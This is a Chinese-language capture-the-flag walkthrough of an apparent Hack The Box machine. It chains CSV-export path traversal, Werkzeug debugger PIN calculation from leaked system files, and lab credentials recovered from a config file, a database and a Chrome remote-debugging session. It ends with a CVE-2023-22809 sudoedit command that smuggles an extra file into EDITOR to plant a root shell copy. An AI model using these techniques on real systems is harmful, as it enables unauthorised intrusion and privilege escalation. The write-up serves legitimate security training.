信息搜集
1  | ┌──(kali㉿kali)-[~]  | 
对目录,和子域名搜集无果后,直接访问80;
文件读取
随意注册一个账号,并登录;在/vault下有一个记录用户名和密码的功能,并且可以导出,

“导出”的http-header的get请求
1  | GET /download?fn=12345_export_9b398f27c8.csv HTTP/1.1  | 
这里并不难发现,”导出”功能点存在,目录穿越导致任意文件下载;并且可以看到corum,edwards,dev_admin用户位于”/home/“下;
即使这里存在文件读取,但是不知道敏感信息到路径等,无法得到立足点;

flask算pin码
在注册用户时,有一个flask的报错;得知,这是一个flask应用;当我尝试通过文件读取拿到flask默认app应用的源码是/app/app.py时,并没有这个文件,看来路径没我想到那么简单;

我试着看看flask的动态调试是否开启,访问/console路径,返回的是:”404 Not Found”;我以前都是这样查看flask的动态调试是否为开启状态的;我自以为访问/console没有回显就是动态调试为关闭;实时证明我是多么愚蠢;
在报错页面,点击右侧的小窗口即,就会弹出要求输入pin的框

打ctf打多了的,一下就想到了”文件读取”+”pin码”;很明显需要我们通过文件读取从而计算pin码;
在hacktricks上有一篇关于计算pin码的文章,值得一看;
flask的pin码计算,根据环境和版本的不同,计算的方式不同。怎么确定用那种方式呢?在这台靶机中我们可以利用文件读取来查看这台机器计算pin码的源码
/app/venv/lib/python3.10是根据报错页面得到的,site-packages/werkzeug/debug/__init__.py则是固定路径
1  | /app/venv/lib/python3.10/site-packages/werkzeug/debug/__init__.py  | 

源码太长,只贴一部分,从中可以看出是以sha1的方式计算的,我们对应的脚本也应该用sha1;
1  | probably_public_bits = [  | 
username 是启动此FLASK的用户;有一个比较聪明的办法,通过环境变量/proc/self/environ,

如果环境变量中没有,那就估计只能泄露/etc/passwd一个一个试了
modname is flask.app
getattr(app, "__name__", type(app).__name__)这里的第三个值默认的Flask,但情况并非总是如此;而是’wsgi_app’;这与 Flask 在主机上的启动方式有关。
这一点可以通过/proc/self/cmdline;cmdline 文件存储着启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息。可以通过查看cmdline目录获取启动指定进程的完整命令

1  | /app/venv/bin/python3 /app/venv/bin/gunicorn --bind 127.0.0.1:5000 --threads=10 --timeout 600 wsgi:app  | 
这个命令的意思是使用Python虚拟环境中的Python 3解释器来运行Gunicorn服务器,绑定到本地的5000端口,使用10个线程处理请求,并设置请求超时时间为600秒,同时运行名为app的WSGI应用程序;
getattr(mod, '__file__', None) 是Flask目录中app.py的绝对路径,通过报错页面得知;
uuid.getnode()是当前计算机的MAC地址,str(uuid.getnode())是mac地址的十进制表达。
要查找服务器 MAC 地址,需要知道正在使用哪个网络接口来为应用程序提供服务(例如eth0)。如果未知,则泄漏/proc/net/arp设备 ID,然后泄漏MAC 地址/sys/class/net/<device id>/address。


1  | >>> int("00:50:56:b9:1e:a9".replace(":",""),16)  | 
get_machine_id()在源码中是一个函数,主要的功能是放回”/etc/machine-id”或者”/proc/sys/kernel/random/boot_id”之中一个(machine-id更优先),和”/proc/self/cgroup”的值以/分割的第一个放回值,这一点可能表达的不是很清楚,自己看看源码就懂了;
贴了get_machine_id()函数中的一部分代码;
1  | 
  | 


1  | # sha1  | 

user-corum
发现敏感文件,其实在/app目录下也只有config_prod.json文件对www-data可读
1  | cat config_prod.json  | 
伪终端
1  | python3 -c "import pty;pty.spawn('/bin/bash');"  | 
连接数据库
1  | mysql -usuperpassuser -p  | 
从superpass.passwords表中发现corum用户的密码:5db7caa1d13cc37c9fc2
1  | ssh corum@10.10.11.203  | 
权限检查
1  | corum@agile:~$ sudo -l  | 
Chrome调试
从/etc/hosts发现子域名”test.superpass.htb”
1  | corum@agile:~$ cat /etc/hosts  | 
查看子域名的nginx配置文件;它仅在本地主机上侦听,并将所有内容代理到本地主机 5555。
1  | corum@agile:/etc/nginx/sites-available$ cat /etc/nginx/sites-available/superpass-test.nginx  | 
通过ssh本地端口转发到kali机上;
1  | ssh -L 5555:localhost:5555 corum@superpass.htb  | 
而然,这并没有帮助;

在/tests/functional/test_site_interactively.py文件发现在动态调试selenium;之前python爬虫用过selenium;
Selenium是一个用于Web应用程序测试的工具。Selenium测试直接运行在浏览器中,就像真正的用户在操作一样。
1  | corum@agile:/app/app-testing$ cat ./tests/functional/test_site_interactively.py  | 
从文件中发现”–remote-debugging-port=41829”
1  | corum@agile:/app/app-testing$ netstat -ltun|grep 41829  | 
本地端口转发
1  | ssh -L 41829:localhost:41829 corum@superpass.htb  | 
打开 Chromium 并chrome://inspect转到设备页面

单击“done”会显示一个新的远程目标:

单击“inspect”会弹出一个连接到测试 selenium 的开发工具实例:
从中可以发现”edwards”用户的密码:”d07867c6267dcb5df0af”

user-edwards
1  | corum@agile:~$ su edwards  | 
权限检查
1  | edwards@agile:~$ sudo -l  | 
发现可以用dev_admin用户的sudoedit命令编辑两个文件;这两个文件似乎并没有什么帮助;
1  | sudo -u dev_admin sudoedit /app/config_test.json  | 
1  | sudo -u dev_admin sudoedit /app/app-testing/tests/functional/creds.txt  | 
sudo版本从1.8.0到1.9.12p1之间存在CVE-2023-22809
1  | edwards@agile:~$ sudo --version  | 
此漏洞允许用户在用户提供的环境变量中提供额外的参数,从而允许攻击者访问配置允许的其他文件以进行处理。此处应用允许 edwards 将任何文件写入 dev_admin,而不仅仅是这两个。
我们只能编辑以前作为dev_admin找到的文件。在/app中找到的test_and_upgrade.sh bash脚本显示了一个有趣的命令,特别source /app/venv/bin/activate 
1  | edwards@agile:/app$ cat test_and_update.sh  | 
我们可以看到,该文件由根目录所有,组归dev_admin所有,后者拥有编辑该文件的权限。
1  | edwards@agile:~$ ls -al /app/venv/bin/activate  | 
利用CVE-2023-22809往/app/venv/bin/activate写恶意代码;
1  | EDITOR='vim -- /app/venv/bin/activate' sudoedit -u dev_admin /app/config_test.json  | 
恶意代码如下;
1  | cp /bin/bash /tmp/zixyd  | 
最后等几分钟,
1  | edwards@agile:~# ls -al /tmp/zixyd  | 
